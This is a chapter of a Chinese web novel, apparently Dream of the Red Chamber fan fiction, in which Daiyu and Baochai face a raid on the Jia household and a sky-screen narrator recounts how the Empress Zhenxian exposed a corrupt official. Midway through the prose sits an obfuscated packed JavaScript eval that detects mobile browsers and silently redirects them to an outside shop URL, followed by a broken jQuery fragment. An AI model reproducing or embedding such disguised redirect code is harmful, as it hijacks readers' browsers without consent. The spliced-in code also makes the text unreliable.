林黛玉干咳几声,想起自己这副身子竟被裴贼惦记了去,纵是心中骂千句万句,终究无益。

    她无千军万马,不过一介弱质女流,连恨也恨得无处着力。

    紫鹃见姑娘眼中渐渐蓄了泪水,忙道:“姑娘,我去叫宝二爷来罢。”她心里明白,能哄好姑娘的,也只有宝玉一人。

    黛玉道:“你一去了,宝玉听见我要进宫,他便要发疯,叫他来不过是让老太太为难,平白添乱,有什么用处。”

    紫鹃隐约已猜到适才琏二嫂子与林姑娘说了哪些话,一时无言,只低着头。

    “你放下床帐,我累了,要歇息。”黛玉道,声音已有些倦怠。

    紫鹃还想开口,终究是忍住了,轻手轻脚放下帐子,悄悄退了出去。帐内一片昏暗,只余窗纸上映着几缕月色,寂寂无声。

    与此同时,薛姨妈处,薛宝钗仍在烛火下做针线活。烛焰微微跳动,映得她眉目间有几分疲色。

    这两日贾府被抄检,她们母女也受了不少搅扰,幸而那些人并不大为难她们。

    只是薛蟠不听话,非要往外跑,被军士们狠狠揍了一顿,眼下正躺在床上疗伤,薛姨妈哭得以泪洗面,须臾不肯离开。

    然而薛宝钗心中,却一再想起那贺表来。莫名的心虚,从那日起便悄悄压着她,如今竟越发沉重,压得她连手中针线也有些穿不稳。

    就在这时,香菱进来了,宝钗问道:“你怎的去了这半日?”

    香菱道:“适才在廊下,同喜说她恍惚瞧见屋顶上有个人影,我不信,便跟着她去瞧了。”

    “有人影在屋顶上?”薛宝钗放下针线,“外头都是裴王派来的人,定是同喜困倦了,看花了眼。”

    香菱笑道:“正是呢,我仔细瞧了那屋顶,一个人影也没有,想是同喜在做梦呢。”

    不知为何,宝钗心中却突突直跳。她按住心口,自嘲地想,不过是一个丫头胡言,自己何至于此。便与香菱又做了一会儿针线,忽而问道:“妈那边如何了?”

    香菱顿了顿,道:“太太还是很伤心,姑娘若过去劝劝,也好。”

    宝钗叹道:“我何尝不劝,只是眼下哥哥昏迷未醒,妈守着他,哪里肯动。”她说着,搁下针线,“罢了,我过去劝劝妈。”

    出了门,庭院里凉风习习,月色如洗,将满院草木的影子都淡淡铺在青石地上。

    宝钗抬头看天,不由想起这两日神女迟迟未现身,不知是何缘故。忽然间,耳边传来一阵极轻的脚步声,细碎而分明,竟似是从屋顶上来的。

    宝钗心中猛地一跳,抬眼朝声音处望去,只见屋脊上空无一人,唯有一轮明月正挂于瓦沿之上,清冷如旧。

    她没有多停,加快脚步进了薛姨妈屋里。一夜无话,月移影动,各处悄然。

    ……

    翌日清晨,天光乍亮。

    消失了将近两日的天幕,终于重又现出。

    【大家好,这些天我比较忙,因为我在研究盛朝史料时,被安利到了一本书。】

    【这本书虽不是正史,却记载了贞贤皇后打入掖庭之前的故事,写的是她的闺阁事……】

    天幕之下,众人一时皆惊。

    “闺秀之事岂可外扬,还堂而皇之写成书册?”几个迂腐的文士脱口而出,面色不豫。

    然而大多数人已默默受用了这样的现实,贞贤皇后既能亲上战场,这点闺阁旧事,算得了什么。

    倒是官宦之家的内眷们,心中不由多了几分期盼,若真有闺阁记录,说不定便能借此辨出皇后究竟是哪家的女儿。

    裴璟却微微皱眉,若天幕冒失地说出贞贤皇后的来历,岂不是将她置于险地?

    他心中一紧,当即又拨了一批人马往贾府增派,叮嘱务必戒备森严。

    裴璟房外,执扇谋士与独眼谋士正候着差事。晨风徐来,廊下几竿修竹轻轻摇曳。

    周瑾摇着折扇,含笑道:“听说胡兄昨日亲去了贾府一趟?”

    独眼谋士胡维道:“自然是要去瞧一瞧,免得出了乱子。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626010|203967||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “有李大将军在,能出什么乱子?”周瑾似笑非笑地睨着他。

    胡维正思忖如何作答,天幕的声音便打断了二人。

    【这本书不愧是中国古代小说的巅峰之作,原本我以为会很难读进去,却一不小心陷了进去,等我通读之后,会穿插几期视频,结合史料与小说,细细讲解贞贤皇后打入掖庭前的故事。】

    众人听得是小说,便多有不以为然之色,窃窃私议道:“不过是虚构的话本,神女拿来佐证史料,岂非荒唐。”

    唯有裴璟心中清楚,那天幕所说的,是哪一本书。

    潇湘馆内。

    黛玉卧在榻上,听见“中国古代小说巅峰之作”一句,心中不由神往。

    她素来不是只读四书五经之人,诗词小说戏文,都曾涉猎。

    窗外竹影婆娑,晨光从纸隙间漏进来,细细碎碎地落在她手背上。她好奇,究竟是怎样的书,竟得神女亲口如此盛赞。

    然而神女并未多讲那本小说,话锋一转,说起了盛太祖。

    【这些天收集史料时,我注意到了一个小细节。前两期说过,盛太祖有个致命的缺点,便是自大,今天这个细节,正好呼应了这一点。】

    裴璟听见“自大”二字,头脑又不由嗡嗡作响,面色微沉。

    【我甚至怀疑,这个细节或许与坤宁宫大火也有关联。那个人是被贞贤皇后亲手揪出来的,对皇后怀恨在心,几乎是必然的。】

    裴璟精神一振,凝神细听。

    【盛太祖登基后,封了一批开国功臣。此人便在其列,后官至户部侍郎,执掌天下钱粮。他为人表面恭顺,账面上滴水不漏,太祖对他印象极好,曾在朝堂上当众夸他“清慎勤敏”。】

    廊外,周瑾与胡维听了,二人眼皮同时微微一跳,不约而同对视了一眼,都没有说话。

    【直到有一天,贞贤皇后在核对北境军需账册时,搁下笔,说了一句话。这句话后来被记在《大盛太祖实录》的原稿本里,定本时删去了。原话是:“此人有鬼。”】